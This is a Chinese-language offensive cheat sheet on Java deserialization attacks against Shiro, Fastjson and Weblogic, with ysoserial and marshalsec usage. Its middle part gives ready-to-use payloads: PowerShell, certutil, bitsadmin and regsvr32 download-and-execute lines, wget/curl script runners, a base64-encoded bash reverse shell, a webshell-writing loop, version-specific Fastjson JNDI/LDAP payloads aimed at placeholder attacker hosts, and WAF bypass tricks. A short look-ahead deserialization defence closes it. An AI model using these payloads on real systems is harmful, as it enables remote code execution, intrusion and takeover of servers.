基礎
序列化
將對象轉換為字節序列的過程,ObjectOutputStream
的writeObject()
方法實現序列化
反序列化
將字節序列還原為對象的過程,ObjectInputStream
的readObject()
方法實現反序列化
序列化的作用
-
遠程方法調用
-
便於通過網絡傳輸對象至遠程系統
-
便於存儲對象在數據庫或本地文件
序列化條件
-
該類必須實現 java.io.Serializable 接口。
-
該類的所有屬性必須是可序列化的。如果有一個屬性不是可序列化的,則該屬性必須注明是短暫的。
注:transient
關鍵字修飾的變量不進行序列化。
SerializationDumper
將字節序列轉成易讀形式的工具
java -jar SerializationDumper-Shiro.jar -r test.obj
反序列化
public class Deserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("test.obj");
ObjectInputStream ois = new ObjectInputStream(fis);
User user = (User) ois.readObject();
ois.close();
System.out.println("User: " + user);
System.out.println("Name: " + user.getName());
System.out.println("Email: " + user.getEmail());
}
}
-
serialVersionUID是在JAVA序列化、反序列化時起作用的一個字段
-
JAVA的序列化機制是通過判斷類serialVersionUID來驗證版本的一致性
-
在進行反序列時,JVM會把傳來的字節流中的serialVersionUID與對應類的serialVersionUID進行比較,如果一致則進行反序列化,否則會出現異常
-
如過可序列化的類沒有顯示聲明serialVersionUID的值,會根據算法計算得到serialVersionUID,編譯器實現不同可能導致serialVersionUID有所不同。
反序列化漏洞
漏洞原理
-
Source 接收不信任的數據進行反序列化
-
Sink可利用的Gadget Chains
漏洞危害
RCE、DOS、SSRF、etc.
易受攻擊協議
-
RMI (Remote Method Invocation)
-
JMX (Java Management Extension)
-
JMS (Java Messaging System)
-
AMF (Action Message Format)
-
Weblogic T3
-
Customer Application Protocol
-
...
易受攻擊組件
-
Weblogic
-
JBoss
-
Shiro
-
WebSphere
-
Fastjson
-
Jenkins
-
JSF ViewState
-
...
漏洞挖掘
ysoserial
Payload生成工具:java -jar ysoserial-[version]-all.jar [payload] '[command]'
Payloads
BeanShell | C3P0 | CommonsBeanutils1 | JBossInterceptors1 |
FileUpload1 | Myfaces1 | CommonsCollections1 | JRMPClient |
Groovy1 | Myfaces2 | CommonsCollections2 | JRMPListener |
Hibernate1 | ROME | CommonsCollections3 | JavassistWeld1 |
Hibernate2 | Spring1 | CommonsCollections4 | MozillaRhino1 |
JSON1 | Spring2 | CommonsCollections5 | MozillaRhino2 |
Jdk7u21 | URLDNS | CommonsCollections6 | Wicket1 |
Jython1 | Vaadin1 | CommonsCollections7 | ...... |
URLDNS
java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'
-
需支持DNS查詢
-
JDK自帶,不依賴於第三方庫
-
最簡單的payload,雖然不能RCE,卻是反序列化漏洞檢測最簡單和最有效的辦法
Gadget Chain
通過HashMap
觸發DNS查詢。
HashMap.readObject()
→ HashMap.putVal()
→ HashMap.hash()
→ URL.hashCode()
CommonsCollections1
java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'
-
依賴於
commons-collections:3.1
-
很多Java應用都有在用Apache Commons Collections庫
-
反序列化漏洞里很經典的payload,2015年最被低估的漏洞,影響weblogic、websphere、jboss等各大Java應用
GadgetProbe
通過DNS盲打識別遠程服務器classpath上的類,庫,和庫版本
-
Java反序列化漏洞一般無回顯,通過GadgetProbe先獲取存在的類和庫,再用對應的payload去打
-
參照URLDNS,不依賴於第三方庫
-
支持BurpSuite Extension
-
支持作為Java庫或者CLI使用,可以靈活使用和修改
marshalsec
可以方便的開啟RMI和LDAP服務,還可以用於生成Jackson、Xstream等payload
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
開啟LDAP服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:80/#Poc
開啟RMI服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.1:80/#Poc
Shiro反序列化漏洞
識別
在請求的Cookie中添加rememberMe=test
,如果響應包中包含rememberMe=deleteMe
則判斷為Shiro
SHIRO-550
Shiro≤1.2.4版本,默認使用了CookieRememberMeManager,其處理Cookie的流程是:得到rememberMe的Cookie值 → Base64解碼 → AES解密 → 反序列化,由於AES使用默認的Key、常見的Key、Key泄漏等原因導致反序列化的Cookie可控,從而引發反序列化漏洞。
Blind盲利用
下載執行/反彈
Windows
powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://x.x.x.x:80/p'))"
certutil -urlcache -split -f http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
bitsadmin /transfer n http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
regsvr32 /s /n /u /i:http://x.x.x.x:80/r scrobj.dll
Linux
wget -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
curl -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
bash -c {echo,YmFzaCAtaSAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}
寫webshell文件
關鍵尋找Web應用路徑
Windows
Windows直接命令執行寫webshell會比較麻煩,可以先將命令執行轉為代碼執行(修改ysoserial代碼實現)
Linux
find /|grep jquery.form.js|while read f; do sh -c "whoami" > (dirnamef)/test.txt;done
構造回顯
在不通外網的情況下,漏洞利用就會很艱難了。但是可以考慮通過報錯、web獲取當前上下文對象、修改當前網絡連接描述文件等方法獲取回顯
SHIRO-721
rememberMe cookie通過AES-128-CBC模式加密,容易收到Padding Oracle攻擊。攻擊者可以使用有效的rememberMe cookie作為Padding Oracle攻擊的前綴,然后精心制作rememberMe來執行反序列化攻擊。
Fastjson反序列化漏洞
Fastjson識別
-
破壞json格式,引發報錯
-
目標可能支持多種數據格式提交,可將Content-Type修改為application/json試一下
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"0"}
Set[{"@type":java.net.URL","val":"dnslog"}]
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
# 1.2.24版本
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}
# 1.2.25-41版本
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}
# 1.2.25-45版本(黑名單繞過,需要有第三方組建ibatis-core 3:0)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"ldap://x.x.x.x:1099/Exploit"}}
# 1.2.21-47版本
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}}
服務器不同外網
BasicDataSource
{{"x":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$class的BCEL編碼"}}:"x"}
TemplatesImpl
前提:需要設置Feature.SupportNonPublicField
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["class的base64"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}
Tips
-
RMI限制比較多,建議用LDAP
-
RMI適用版本:JDK 6u132、7u122、8u113之前
-
LDAP適用版本:JDK 11.0.1、8u191、7u201、6u211之前
-
-
如果LDAP能獲取服務器訪問請求,但是reference無法加載遠程class文件,一般是由於JDK版本問題,需要考慮繞過JDK版本限制
-
如果LDAP能獲取服務器訪問請求,reference可以加載遠程class文件,但是代碼沒有被成功執行,一般是本地編譯POC的JDK版本和目標服務器版本不一致,本地編譯換JDK版本即可
Weblogic反序列化漏洞
識別
404頁面
/console
/uddiexplorer
/wls-wsat/CoordinatorPortType
/bea_wls_deployment_internal/DeploymentService
/_async/AsyncResponseService
CVE
CVE-2015-4852 | CVE-2018-2893 | CVE-2019-2729 |
CVE-2016-0638 | CVE-2018-3191 | CVE-2020-2551 |
CVE-2016-3510 | CVE-2018-3245 | CVE-2020-2555 |
CVE-2017-3248 | CVE-2019-2618 | |
CVE-2018-2628 | CVE-2019-2725 |
Java反序列漏洞Bypass
WAF
WAF是最常見的防御手段,但是WAF對於反序列化攻擊的防御還是有點心有余而力不足。WAF主要還是依靠黑名單規則,常見的繞過手段有:
-
尋找新的Gadget
-
Payload加密的基本直接過,比如Shiro反序列化漏洞
-
還有攔
/wls_wsat/CoordinatorPortType11
的,結合Weblogic特性加上;/../x
即可繞過
Look-Ahead Check
通過重寫ObjectInputStream的resolveClass增加黑名單或者白名單類
-
Weblogic
-
SerialKiller
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}